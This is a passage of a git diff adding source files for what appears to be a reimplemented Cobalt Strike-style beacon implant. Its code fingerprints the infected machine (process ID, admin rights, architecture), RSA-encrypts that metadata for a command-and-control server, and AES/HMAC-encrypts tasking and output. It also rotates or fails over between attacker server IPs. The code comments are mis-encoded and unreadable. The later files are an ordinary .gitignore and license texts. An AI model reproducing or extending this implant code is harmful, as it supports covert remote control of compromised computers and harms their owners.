һ4ֽڳ䵱beacon id + + if (X86orX64()) + { + machine = 2; + } + else + { + if (!Is_Wow64(GetCurrentProcess())) + { + if (is_admin()) + { + machine |= 8; + } + } + else + { + machine |= 4; + if (is_admin()) + { + machine |= 8; + } + } + } + + beaconmetadata pbeaconmetadata; + BeaconMetadataInit(&pbeaconmetadata, Metadata, size); + BeaconMetadataPush_N(16, &pbeaconmetadata, beacon_key); + BeaconMetadataPush_N(2, &pbeaconmetadata, &codepage); + BeaconMetadataPush_N(2, &pbeaconmetadata, &oem); + BeaconMetadataPush_4(beacon_id, &pbeaconmetadata); + DWORD pid = GetCurrentProcessId(); + BeaconMetadataPush_4(pid, &pbeaconmetadata); + BeaconMetadataPush_2(0, &pbeaconmetadata); + BeaconMetadataPush_1(machine ,&pbeaconmetadata); + get_pc_info(&pbeaconmetadata); // û + int MetadataLength = BeaconMetadataLength(&pbeaconmetadata); + memset(g_Encryption_Metadata, 0, sizeof(g_Encryption_Metadata)); + g_Encryption_Metadata_size = 128; + memcpy(g_Encryption_Metadata, Metadata, MetadataLength);// copy׼ + char* rsa_publickey = get_str(7); // ȡRSAԿ + rsa_encrypt(rsa_publickey, Metadata, MetadataLength, g_Encryption_Metadata, &g_Encryption_Metadata_size);// rsa + memset(Metadata, 0, MetadataLength); +} + +/// +/// aes http󷵻 +/// +/// +/// +/// +size_t decrypt_output_data(char* encrypt_data_buffer, int data_size) +{ + if (data_size <= 16 && data_size % 16) + { + return 0; + } + int decrypt_buffer_size = data_size - 16; + char* decrypt_buffer = (char*)malloc(decrypt_buffer_size); + memset(decrypt_buffer, 0, decrypt_buffer_size); + if (!decrypt_buffer) + { + return 0; + } + char hmac_memory_out_buf[16]; + unsigned long hmac_memory_out_size = 16; + + + //֤ + if (hmac_memory(sha256_idx, (const unsigned char*)aes_key_hash_up_16 ,16, (const unsigned char*)encrypt_data_buffer, decrypt_buffer_size, (unsigned char*)hmac_memory_out_buf, &hmac_memory_out_size))// + { + + exit(1); + } + + if (memcmp(&encrypt_data_buffer[decrypt_buffer_size], hmac_memory_out_buf, hmac_memory_out_size)) + { + free(decrypt_buffer); + return 0; + } + + if (CryptoScheme) + { + if (CryptoScheme != 1) + { + exit(1); + } + memcpy(decrypt_buffer,encrypt_data_buffer, decrypt_buffer_size); + } + + //aes cbc + else if (cbc_start(aes_idx, (const unsigned char*)initialization_vector, (const unsigned char*)aes_key_hash_ago_16, 16, 0, &beacon_symmetric_CBC) + || cbc_decrypt((const unsigned char*)encrypt_data_buffer, (unsigned char*)decrypt_buffer, decrypt_buffer_size, &beacon_symmetric_CBC) + || cbc_done(&beacon_symmetric_CBC)) + { + exit(1); + } + + datap pdata; + BeaconDataParse(&pdata, (char*)decrypt_buffer, decrypt_buffer_size); + int Timestamp = BeaconDataInt(&pdata);// ʱ + if (Timestamp + 3600 <= old_Timestamp) + { + free(encrypt_data_buffer); + u_long time = htonl(old_Timestamp - Timestamp - 3600); + BeaconTaskOutput((char*)&time, 4u, 022u); + return 0; + } + + int data_length = BeaconDataInt(&pdata); // ݳ + + if (!data_length || data_length > decrypt_buffer_size) + { + exit(0); + } + char* dataptr = BeaconDataPtr(&pdata, data_length); + if (!dataptr) + { + exit(0); + } + memcpy(encrypt_data_buffer, dataptr, data_length); + old_Timestamp = Timestamp; + BeaconDataClear(&pdata); + free(decrypt_buffer); + return data_length; +} + +symmetric_CBC gBeaconCBC; +int aes_cbc_encrypt(int size, char* in) +{ + int v2; + int a4; + + v2 = size; + a4 = 16; + for (int i = size % 16; i; ++v2) + { + if (i >= 16) + break; + ++i; + } + if (CryptoScheme) + { + if (CryptoScheme != 1) { + exit(1); + } + } + + else if (cbc_start(aes_idx, (const unsigned char*)initialization_vector, (const unsigned char*)aes_key_hash_ago_16, 16, 0, (symmetric_CBC*)&gBeaconCBC) + || cbc_encrypt((const unsigned char*)in, (unsigned char*)in, v2, &gBeaconCBC) + || cbc_done((symmetric_CBC*)&gBeaconCBC)) + { + exit(1); + } + if (hmac_memory(sha256_idx, (const unsigned char*)aes_key_hash_up_16, 16, (const unsigned char*)in, v2, (unsigned char*)(&in[v2]), (unsigned long*)&a4)) { + exit(1); + } + + return v2 + 16; +} + + + +char* aes_encrypt_data(void* data, size_t data_size, int msg_id, int* out_encrypt_data_len) +{ + beaconmetadata pbeaconmetadata; + char* buff = (char*)malloc(data_size + 48); + if (!buff) + { + *out_encrypt_data_len = 0; + return 0; + } + memset(buff, 0, data_size + 48); + + BeaconMetadataInit(&pbeaconmetadata, buff, data_size + 48); + BeaconMetadataPush_4(msg_id, &pbeaconmetadata); + BeaconMetadataPush_N(data_size, &pbeaconmetadata, data); + int DataLength = BeaconMetadataDataLength(&pbeaconmetadata) + 4; + if (DataLength <= 0) + { + free(buff); + *out_encrypt_data_len = 0; + return 0; + } + *out_encrypt_data_len = aes_cbc_encrypt(DataLength, buff);// aesܺHmacժҪ س + return buff; +} diff --git a/ReBeacon_Src/encrypt_decrypt.h b/ReBeacon_Src/encrypt_decrypt.h new file mode 100644 index 0000000..d006907 --- /dev/null +++ b/ReBeacon_Src/encrypt_decrypt.h @@ -0,0 +1,47 @@ +#pragma once +#include "tomcrypt.h" +#include + + +extern int sha256_idx; +extern int aes_idx; + + +extern int aes_key_hash_ago_16[4]; +extern int aes_key_hash_up_16[4]; +extern char initialization_vector[16]; + +extern symmetric_key beacon_symmetric_key; +extern symmetric_CBC beacon_symmetric_CBC; + +/*beacon id*/ +extern DWORD beacon_id; +extern WORD CryptoScheme; + +/// +/// Ԫݲ +/// +/// ˲ʱbuffer +/// ʱbufferĴС +void Generate_encryption_metadata(char* Metadata, int size); + +/// +/// int +/// +/// +int random_int(); + + +/// +/// aes http󷵻 +/// +/// +/// +/// +size_t decrypt_output_data(char* encrypt_data_buffer, int data_size); + +int aes_cbc_encrypt(int size, char* in); + +char* aes_encrypt_data(void* data, size_t data_Size, int msg_id, int* out_encrypt_data_len); + +int random_bytesarray(BYTE* pbBuffer, DWORD dwLen); \ No newline at end of file diff --git a/ReBeacon_Src/macro.h b/ReBeacon_Src/macro.h new file mode 100644 index 0000000..42e3ee0 --- /dev/null +++ b/ReBeacon_Src/macro.h @@ -0,0 +1,8 @@ +#pragma once +#ifdef _WIN64 +#define CsC2Config_size 0x800 +#define index_size 16 +#else +#define CsC2Config_size 0x400 +#define index_size 8 +#endif // _WIN64 \ No newline at end of file diff --git a/ReBeacon_Src/rotation.cpp b/ReBeacon_Src/rotation.cpp new file mode 100644 index 0000000..a347878 --- /dev/null +++ b/ReBeacon_Src/rotation.cpp @@ -0,0 +1,291 @@ +#include "rotation.h" +#include +/// +/// ʼѯṹ +/// +/// +/// +/// +/// +/// +void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_number) +{ + rotation_opt->strategyID = strategyID; + rotation_opt->rotate_Strategy_time = rotate_Strategy_time; + rotation_opt->failover_Strategy_time = failover_Strategy_time; + rotation_opt->failover_Strategy_number = failover_Strategy_number; +} + +/// +/// ģʽip洢 +/// +char* ServerIP_Buff_random=NULL; + +/// +/// ģʽip +/// +int g_ip_number_random=0; + +/// +/// ģʽµǰip +/// +int g_current_ip_index_random=0; + +/// +/// ģʽipָ +/// +char* g_ip_array_random[200]; + +int random_int(int seed) +{ + return rand() % (seed + 1); +} +int random_ipid(int ip_id) +{ + return ip_id - ip_id % 2; +} + +/// +/// ѡip +/// +/// +/// +char* random_selection(char* ServerIP) +{ + int current_ip_id = 0; + int ip_id = 0 ; + + if (ServerIP_Buff_random) + { + current_ip_id = g_current_ip_index_random; + } + else + { + ServerIP_Buff_random = (char*)malloc(strlen(ServerIP) + 1); + strncpy(ServerIP_Buff_random, ServerIP, strlen(ServerIP) + 1); + g_ip_number_random = 0; + for (char* ip = strtok(ServerIP_Buff_random, ","); ip; ip = strtok(0, ",")) + { + int ip_id = g_ip_number_random++; + g_ip_array_random[ip_id] = ip; + } + current_ip_id = -1; + g_current_ip_index_random = -1; + } + if (current_ip_id < 0 || current_ip_id >= g_ip_number_random) + { + ip_id = random_int(g_ip_number_random - 1); + ip_id = random_ipid(ip_id); + g_current_ip_index_random = ip_id; + } + else + { + ip_id = current_ip_id + 1; + g_current_ip_index_random =- 1; + } + return g_ip_array_random[ip_id]; +} + +/// +/// ѯģʽip +/// +char* ServerIP_Buff_carousel; + +/// +/// ѯ лݴлָ +/// +int g_failover_Strategy_number; + +/// +/// ѯ лʱлļʱ +/// +int g_failover_Strategy_time; +/// +/// ѯģʽip +/// +int g_ip_number_carousel; + +/// +/// ѯģʽip,еipָ +/// +char* g_ip_array_carousel[200]; + +/// +/// ѯģʽµǰʹõip,ͨidȡipָ +/// +int g_ip_index_carousel; + +/// +/// +/// +__int64 g_time; + +/// +/// ѯ ʱл ʱ +/// +int g_rotate_Strategy_time; + +/// +/// ݴʱѯ +/// +__int64 g_failover_time; + +/// +/// +/// +int g_failover_number; + +int dword_10037E80; +char* carousel(rotationstruc* rotation_opt, char* ServerIP, int number) +{ + char* ipsrc; + int ip_id; + signed int failover_Strategy_number; + signed int failover_Strategy_time; + char* result; + __time64_t current_time; + int v10; + + v10 = 0; + current_time = _time64(0); + if (ServerIP_Buff_carousel) + { + failover_Strategy_number = g_failover_Strategy_number; + failover_Strategy_time = g_failover_Strategy_time; + } + else + { + ServerIP_Buff_carousel = (char*)malloc(strlen(ServerIP) + 1); + strncpy(ServerIP_Buff_carousel, ServerIP, strlen(ServerIP) + 1); + g_ip_number_carousel = 0; + for (ipsrc = strtok(ServerIP_Buff_carousel, ","); ipsrc; ipsrc = strtok(0, ",")) + { + ip_id = g_ip_number_carousel++; + g_ip_array_carousel[ip_id] = ipsrc; + } + g_ip_index_carousel = 0; + g_time = _time64(0); + failover_Strategy_number = rotation_opt->failover_Strategy_number; + g_rotate_Strategy_time = rotation_opt->rotate_Strategy_time; + failover_Strategy_time = rotation_opt->failover_Strategy_time; + g_failover_time = 0i64; + g_failover_Strategy_number = failover_Strategy_number; + g_failover_Strategy_time = failover_Strategy_time; + } + if (number) + { + if (failover_Strategy_number > -1 && ++g_failover_number > failover_Strategy_number) + { + v10 = 1; + } + if (failover_Strategy_time > -1) + { + if (g_failover_time) + { + if (current_time > g_failover_time + failover_Strategy_time) + { + v10 = 1; + } + } + else + { + g_failover_time = _time64(0); + } + } + } + else if (!dword_10037E80) + { + g_failover_time = 0i64; + g_failover_number = 0; + } + if (g_rotate_Strategy_time <= -1) + { + goto LABEL_23; + } + if (!v10) + { + if (dword_10037E80) + { + result = g_ip_array_carousel[g_ip_index_carousel + 1]; + dword_10037E80 = 0; + return result; + } + if (current_time <= g_time + g_rotate_Strategy_time) + { + result = g_ip_array_carousel[g_ip_index_carousel]; + dword_10037E80 = 1; + return result; + } + v10 = 1; + LABEL_23: + if (!v10) + { + if (!dword_10037E80) + { + result = g_ip_array_carousel[g_ip_index_carousel]; + dword_10037E80 = 1; + return result; + } + result = g_ip_array_carousel[g_ip_index_carousel + 1]; + dword_10037E80 = 0; + return result; + } + } + g_ip_index_carousel += 2; + g_failover_number = 0; + dword_10037E80 = 0; + g_failover_time = 0i64; + if (g_ip_index_carousel >= g_ip_number_carousel) + { + g_ip_index_carousel = 0; + } + g_time = _time64(0); + if (!dword_10037E80) + { + result = g_ip_array_carousel[g_ip_index_carousel]; + dword_10037E80 = 1; + return result; + } + result = g_ip_array_carousel[g_ip_index_carousel + 1]; + dword_10037E80 = 0; + return result; +} + +char* g_ServerIP_Buff; +char* no_rotation(char* ServerIP) +{ + char* result; + + if (g_ServerIP_Buff) + { + result = strtok(0, ","); + if (result) + { + return result; + } + free(g_ServerIP_Buff); + } + g_ServerIP_Buff = (char*)malloc(strlen(ServerIP) + 1); + strncpy(g_ServerIP_Buff, ServerIP, strlen(ServerIP) + 1); + return strtok(g_ServerIP_Buff, ","); +} + +/// +/// ѯģʽ л ʱл +/// +/// +/// +/// +/// +char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number) +{ + if (rotation_opt->strategyID == 1)// random ѡ + { + return (char*)random_selection(ServerIP); + } + if (rotation_opt->strategyID == 2)//rotatefailover + { + return (char*)carousel(rotation_opt, ServerIP, number); + } + return no_rotation(ServerIP); // ѯ +} \ No newline at end of file diff --git a/ReBeacon_Src/rotation.h b/ReBeacon_Src/rotation.h new file mode 100644 index 0000000..4483a8f --- /dev/null +++ b/ReBeacon_Src/rotation.h @@ -0,0 +1,16 @@ +#pragma once +#include + +extern int dword_10037E80; +extern char* g_ServerIP_Buff; +typedef struct +{ + DWORD strategyID; + DWORD rotate_Strategy_time; + DWORD failover_Strategy_time; + DWORD failover_Strategy_number; +}rotationstruc; + +void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_id); + +char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number); \ No newline at end of file diff --git a/include/Veil/.gitignore b/include/Veil/.gitignore new file mode 100644 index 0000000..2f1229f --- /dev/null +++ b/include/Veil/.gitignore @@ -0,0 +1,350 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ \ No newline at end of file diff --git a/include/Veil/LICENSE b/include/Veil/LICENSE new file mode 100644 index 0000000..3d08f32 --- /dev/null +++ b/include/Veil/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) MiroKaku(MeeSong) and Contributors. All rights reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/include/Veil/LICENSE.MINT b/include/Veil/LICENSE.MINT new file mode 100644 index 0000000..f034552 --- /dev/null +++ b/include/Veil/LICENSE.MINT @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) Chuyu-Team and Contributors. All rights reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/include/Veil/LICENSE.phnt b/include/Veil/LICENSE.phnt new file mode 100644 index 0000000..0fb847e --- /dev/null +++ b/include/Veil/LICENSE.phnt @@ -0,0 +1,395 @@ +Attribution 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution 4.0 International Public License ("Public License"). To the +extent this Public License may be interpreted as a contract, You are +granted the Licensed Rights in consideration of Your acceptance of +these terms and conditions, and the Licensor grants You such rights in +consideration of benefits the Licensor receives from making the +Licensed Material available under these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + d. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + e. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + f. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + g. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + h. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + i. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + j. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + k. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + 4. If You Share Adapted Material You produce, the Adapter's + License You apply must not prevent recipients of the Adapted + Material from complying with this Public License. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material; and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other 